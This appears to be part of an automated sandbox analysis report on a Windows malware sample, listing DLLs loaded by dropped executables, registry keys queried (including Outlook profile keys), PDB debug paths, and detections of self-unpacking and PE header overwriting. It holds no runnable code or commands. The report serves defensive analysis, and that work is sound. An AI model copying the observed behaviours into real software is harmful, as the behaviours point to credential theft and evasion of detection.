Source: C:\Users\user\AppData\Local\Temp\u5o8.3.exe Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\u5o8.3.exe Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\u5o8.3.exe Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\u5o8.3.exe Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\u5o8.3.exe Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\u5o8.3.exe Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\u5o8.3.exe Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\u5o8.3.exe Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\u5o8.3.exe Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\u5o8.3.exe Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\u5o8.3.exe Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\u5o8.3.exe Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\u5o8.3.exe Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\u5o8.3.exe Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\u5o8.3.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe Section loaded: dwrite.dll
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe Section loaded: msvcp140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe Section loaded: windowscodecs.dll
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe Section loaded: dwmapi.dll
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe Section loaded: d3d9.dll
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe Section loaded: d3d10warp.dll
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe Section loaded: wtsapi32.dll
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe Section loaded: winsta.dll
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe Section loaded: powrprof.dll
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe Section loaded: umpdc.dll
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe Section loaded: dataexchange.dll
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe Section loaded: d3d11.dll
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe Section loaded: dcomp.dll
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe Section loaded: dxgi.dll
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe Section loaded: twinapi.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe Section loaded: resourcepolicyclient.dll
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe Section loaded: dxcore.dll
Source: C:\Users\user\Desktop\JlvRdFpwOD.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32 Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\i1.exe File opened: C:\Windows\SysWOW64\msvcr100.dll Jump to behavior
Source: JlvRdFpwOD.exe Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Source: Binary string: mozglue.pdbP source: u5o8.0.exe, 0000000A.00000002.2237351371.000000006B3AD000.00000002.00000001.01000000.00000015.sdmp
Source: Binary string: /_/obj/Release/Microsoft.ApplicationInsights/net46/Microsoft.ApplicationInsights.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000000.2126889574.000002EABF9FB000.00000002.00000001.01000000.00000017.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2933086643.000002EADA7B0000.00000004.08000000.00040000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2917481150.000002EAD1E03000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: nss3.pdb@ source: u5o8.0.exe, 0000000A.00000002.2237570920.000000006B56F000.00000002.00000001.01000000.00000014.sdmp
Source: Binary string: D:\Workspace\TFS\MAINLINE\ioloCore\Dysnomia\PerceiveHUD\obj\Debug\PerceiveHUD.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000000.2126889574.000002EABF9FB000.00000002.00000001.01000000.00000017.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2917481150.000002EAD1E03000.00000004.00000800.00020000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2935288692.000002EADA920000.00000004.08000000.00040000.00000000.sdmp
Source: Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\Cleanup\obj\Release\Cleanup.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2879342986.000002EAC1D10000.00000004.08000000.00040000.00000000.sdmp
Source: Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\Win32TaskScheduler\obj\Release\Win32TaskScheduler.pdbz9 source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000000.2126889574.000002EABF9FB000.00000002.00000001.01000000.00000017.sdmp
Source: Binary string: c:\release\WorkingDir\PrismLibraryBuild\PrismLibrary\Desktop\Prism\obj\Release\Microsoft.Practices.Prism.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000000.2126889574.000002EABF9FB000.00000002.00000001.01000000.00000017.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2932644747.000002EADA780000.00000004.08000000.00040000.00000000.sdmp
Source: Binary string: wntdll.pdb source: run.exe, 0000000F.00000002.1965906033.000000000433B000.00000004.00000001.00020000.00000000.sdmp, run.exe, 0000000F.00000002.1963890876.0000000003F80000.00000004.00000800.00020000.00000000.sdmp, run.exe, 0000000F.00000002.1961362566.0000000002B23000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.2213038989.0000000004CA0000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.2206608365.00000000047B6000.00000004.00000020.00020000.00000000.sdmp, run.exe, 0000001C.00000002.2328326614.0000000003D4F000.00000004.00000020.00020000.00000000.sdmp, run.exe, 0000001C.00000002.2328668723.00000000040A0000.00000004.00000800.00020000.00000000.sdmp, run.exe, 0000001C.00000002.2326985768.0000000002918000.00000004.00000001.00020000.00000000.sdmp, cmd.exe, 0000001D.00000002.2500316011.00000000057D0000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 0000001D.00000002.2500044845.00000000052F9000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\Bootstrap\obj\Release\Bootstrap.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000000.2126889574.000002EABF9FB000.00000002.00000001.01000000.00000017.sdmp
Source: Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\InstallerSMUDUI\obj\Release\InstallerSMUDUI.pdb| source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000000.2126889574.000002EABF9FB000.00000002.00000001.01000000.00000017.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2942511811.000002EADADA0000.00000004.08000000.00040000.00000000.sdmp
Source: Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\STDHash\obj\Release\STDHash.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000000.2126889574.000002EABF9FB000.00000002.00000001.01000000.00000017.sdmp
Source: Binary string: mozglue.pdb source: u5o8.0.exe, 0000000A.00000002.2237351371.000000006B3AD000.00000002.00000001.01000000.00000015.sdmp
Source: Binary string: C:\Users\ICP221\perforce\_perforce\Installer\UniversalInstaller\2.5.30\Project\UIxStandard\Win\Release\UniversalInstaller.pdb source: run.exe, 0000000F.00000002.1960834938.0000000000D4C000.00000002.00000001.01000000.0000000F.sdmp, run.exe, 0000000F.00000000.1880596596.0000000000D4C000.00000002.00000001.01000000.0000000F.sdmp, run.exe, 0000001C.00000000.2264841661.0000000000D4C000.00000002.00000001.01000000.0000000F.sdmp, run.exe, 0000001C.00000002.2325846884.0000000000D4C000.00000002.00000001.01000000.0000000F.sdmp
Source: Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\Telemetry\obj\Release\Telemetry.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000000.2126889574.000002EABF9FB000.00000002.00000001.01000000.00000017.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2966477247.000002EAE1500000.00000004.08000000.00040000.00000000.sdmp
Source: Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\Locale_de-de\obj\Release\Locale_de-de.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000000.2126889574.000002EABF9FB000.00000002.00000001.01000000.00000017.sdmp
Source: Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\Locale_pt-br\obj\Release\Locale_pt-br.pdb^ source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000000.2126889574.000002EABF9FB000.00000002.00000001.01000000.00000017.sdmp
Source: Binary string: D:\Projects\Personal\DeviceId\src\DeviceId\obj\Release\net40\DeviceId.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2967088343.000002EAE1530000.00000004.08000000.00040000.00000000.sdmp
Source: Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\Downloader\obj\Release\Downloader.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2878631711.000002EAC1CC0000.00000004.08000000.00040000.00000000.sdmp
Source: Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\STDHash\obj\Release\STDHash.pdb@=Z= L=_CorDllMainmscoree.dll source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000000.2126889574.000002EABF9FB000.00000002.00000001.01000000.00000017.sdmp
Source: Binary string: C:\Users\ICP221\perforce\_perforce\Installer\UniversalInstaller\2.5.30\Project\UIxStandard\Win\Release\relay.pdb source: run.exe, 0000000F.00000002.1968156181.000000006C747000.00000002.00000001.01000000.00000010.sdmp, run.exe, 0000001C.00000002.2343684829.000000006C3B7000.00000002.00000001.01000000.00000010.sdmp
Source: Binary string: EntitlementDefinitions.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2932248197.000002EADA740000.00000004.08000000.00040000.00000000.sdmp
Source: Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\Locale_en-us\obj\Release\Locale_en-us.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000000.2126889574.000002EABF9FB000.00000002.00000001.01000000.00000017.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2879067519.000002EAC1D00000.00000004.08000000.00040000.00000000.sdmp
Source: Binary string: C:\riranux\jasihomey\22\kula.pdb source: i1.exe, 00000005.00000000.1680373346.0000000000411000.00000002.00000001.01000000.00000007.sdmp, i1.exe, 00000005.00000002.2099504625.0000000001C44000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: D:\Projects\Personal\DeviceId\src\DeviceId\obj\Release\net40\DeviceId.pdbSHA256M$ source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2967088343.000002EAE1530000.00000004.08000000.00040000.00000000.sdmp
Source: Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\Branding\obj\Release\Branding.pdbjD source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2878747865.000002EAC1CD0000.00000004.08000000.00040000.00000000.sdmp
Source: Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\Locale_ko-kr\obj\Release\Locale_ko-kr.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000000.2126889574.000002EABF9FB000.00000002.00000001.01000000.00000017.sdmp
Source: Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\Locale_de-de\obj\Release\Locale_de-de.pdbF source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000000.2126889574.000002EABF9FB000.00000002.00000001.01000000.00000017.sdmp
Source: Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\Locale_fr-fr\obj\Release\Locale_fr-fr.pdbf source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000000.2126889574.000002EABF9FB000.00000002.00000001.01000000.00000017.sdmp
Source: Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\Locale_es-es\obj\Release\Locale_es-es.pdb. source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000000.2126889574.000002EABF9FB000.00000002.00000001.01000000.00000017.sdmp
Source: Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\Locale_pt-br\obj\Release\Locale_pt-br.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000000.2126889574.000002EABF9FB000.00000002.00000001.01000000.00000017.sdmp
Source: Binary string: C:\pisinep.pdb source: i1.exe, 00000005.00000003.1743137177.0000000003831000.00000004.00000020.00020000.00000000.sdmp, u5o8.0.exe, 0000000A.00000000.1741866860.0000000000411000.00000002.00000001.01000000.0000000A.sdmp
Source: Binary string: /_/Src/Newtonsoft.Json/obj/Release/net45/Newtonsoft.Json.pdbSHA256 source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000000.2126889574.000002EABF9FB000.00000002.00000001.01000000.00000017.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2938855133.000002EADAB70000.00000004.08000000.00040000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2917481150.000002EAD1E03000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\Locale_it-it\obj\Release\Locale_it-it.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000000.2126889574.000002EABF9FB000.00000002.00000001.01000000.00000017.sdmp
Source: Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\InstallerCommon\obj\Release\InstallerCommon.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2878844349.000002EAC1CF0000.00000004.08000000.00040000.00000000.sdmp
Source: Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\Branding\obj\Release\Branding.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2878747865.000002EAC1CD0000.00000004.08000000.00040000.00000000.sdmp
Source: Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\InstallerSMUDUI\obj\Release\InstallerSMUDUI.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000000.2126889574.000002EABF9FB000.00000002.00000001.01000000.00000017.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2942511811.000002EADADA0000.00000004.08000000.00040000.00000000.sdmp
Source: Binary string: /_/Src/Newtonsoft.Json/obj/Release/net45/Newtonsoft.Json.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000000.2126889574.000002EABF9FB000.00000002.00000001.01000000.00000017.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2938855133.000002EADAB70000.00000004.08000000.00040000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2917481150.000002EAD1E03000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\InstallerCommon\obj\Release\InstallerCommon.pdb4 source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2878844349.000002EAC1CF0000.00000004.08000000.00040000.00000000.sdmp
Source: Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\Locale_ja-jp\obj\Release\Locale_ja-jp.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000000.2126889574.000002EABF9FB000.00000002.00000001.01000000.00000017.sdmp
Source: Binary string: wntdll.pdbUGP source: run.exe, 0000000F.00000002.1965906033.000000000433B000.00000004.00000001.00020000.00000000.sdmp, run.exe, 0000000F.00000002.1963890876.0000000003F80000.00000004.00000800.00020000.00000000.sdmp, run.exe, 0000000F.00000002.1961362566.0000000002B23000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.2213038989.0000000004CA0000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 00000010.00000002.2206608365.00000000047B6000.00000004.00000020.00020000.00000000.sdmp, run.exe, 0000001C.00000002.2328326614.0000000003D4F000.00000004.00000020.00020000.00000000.sdmp, run.exe, 0000001C.00000002.2328668723.00000000040A0000.00000004.00000800.00020000.00000000.sdmp, run.exe, 0000001C.00000002.2326985768.0000000002918000.00000004.00000001.00020000.00000000.sdmp, cmd.exe, 0000001D.00000002.2500316011.00000000057D0000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 0000001D.00000002.2500044845.00000000052F9000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: /_/obj/Release/TelemetryChannel/net452/Microsoft.AI.ServerTelemetryChannel.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000000.2126889574.000002EABF9FB000.00000002.00000001.01000000.00000017.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2917481150.000002EAD1D5C000.00000004.00000800.00020000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2966561650.000002EAE1510000.00000004.08000000.00040000.00000000.sdmp
Source: Binary string: Q!C:\riranux\jasihomey\22\kula.pdb source: i1.exe, 00000005.00000000.1680373346.0000000000411000.00000002.00000001.01000000.00000007.sdmp, i1.exe, 00000005.00000002.2099504625.0000000001C44000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: C:\projects\dotnetzip-semverd\src\Zip\obj\Release\DotNetZip.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2917481150.000002EAD1DBE000.00000004.00000800.00020000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2941012475.000002EADAC20000.00000004.08000000.00040000.00000000.sdmp
Source: Binary string: c:\Users\dahall\Documents\Visual Studio 2010\Projects\TaskService\obj\Release\Microsoft.Win32.TaskScheduler.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000000.2126889574.000002EABF9FB000.00000002.00000001.01000000.00000017.sdmp
Source: Binary string: D:\Workspace\TFS\MAINLINE\ioloCore\Dysnomia\PerceiveSDK\obj\Debug\PerceiveSDK.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000000.2126889574.000002EABF9FB000.00000002.00000001.01000000.00000017.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2917481150.000002EAD1E03000.00000004.00000800.00020000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2935288692.000002EADA920000.00000004.08000000.00040000.00000000.sdmp
Source: Binary string: SMCommon.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000000.2126889574.000002EABF9FB000.00000002.00000001.01000000.00000017.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2917481150.000002EAD1E03000.00000004.00000800.00020000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2935288692.000002EADA920000.00000004.08000000.00040000.00000000.sdmp
Source: Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\Locale_nl-nl\obj\Release\Locale_nl-nl.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000000.2126889574.000002EABF9FB000.00000002.00000001.01000000.00000017.sdmp
Source: Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\Locale_fr-fr\obj\Release\Locale_fr-fr.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000000.2126889574.000002EABF9FB000.00000002.00000001.01000000.00000017.sdmp
Source: Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\Win32TaskScheduler\obj\Release\Win32TaskScheduler.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000000.2126889574.000002EABF9FB000.00000002.00000001.01000000.00000017.sdmp
Source: Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\Locale_nl-nl\obj\Release\Locale_nl-nl.pdbR source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000000.2126889574.000002EABF9FB000.00000002.00000001.01000000.00000017.sdmp
Source: Binary string: fMC:\pisinep.pdb source: i1.exe, 00000005.00000003.1743137177.0000000003831000.00000004.00000020.00020000.00000000.sdmp, u5o8.0.exe, 0000000A.00000000.1741866860.0000000000411000.00000002.00000001.01000000.0000000A.sdmp
Source: Binary string: nss3.pdb source: u5o8.0.exe, 0000000A.00000002.2237570920.000000006B56F000.00000002.00000001.01000000.00000014.sdmp
Source: Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\Locale_es-es\obj\Release\Locale_es-es.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000000.2126889574.000002EABF9FB000.00000002.00000001.01000000.00000017.sdmp
Source: Binary string: D:\Workspace\TFS\MAINLINE\ioloCore\Dysnomia\Perceive\obj\Debug\Perceive.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000000.2126889574.000002EABF9FB000.00000002.00000001.01000000.00000017.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2917481150.000002EAD1E03000.00000004.00000800.00020000.00000000.sdmp, SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000002.2935288692.000002EADA920000.00000004.08000000.00040000.00000000.sdmp
Source: Binary string: C:\Jenkins-Slave\workspace\sm\24.3\BuildTools\Bootstrap\Locale_zh-tw\obj\Release\Locale_zh-tw.pdb source: SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe, 00000018.00000000.2126889574.000002EABF9FB000.00000002.00000001.01000000.00000017.sdmp

Data Obfuscation
barindex
Detected unpacking (changes PE section rights)
Source: C:\Users\user\AppData\Local\Temp\i1.exe Unpacked PE file: 5.2.i1.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Unpacked PE file: 10.2.u5o8.0.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:EW;.rdata:R;.data:W;.reloc:R;
Detected unpacking (overwrites its own PE header)
Source: C:\Users\user\AppData\Local\Temp\i1.exe Unpacked PE file: 5.2.i1.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Unpacked PE file: 10.2.u5o8.0.exe.400000.0.unpack
.NET source code contains method to dynamically call methods (often used by packers)
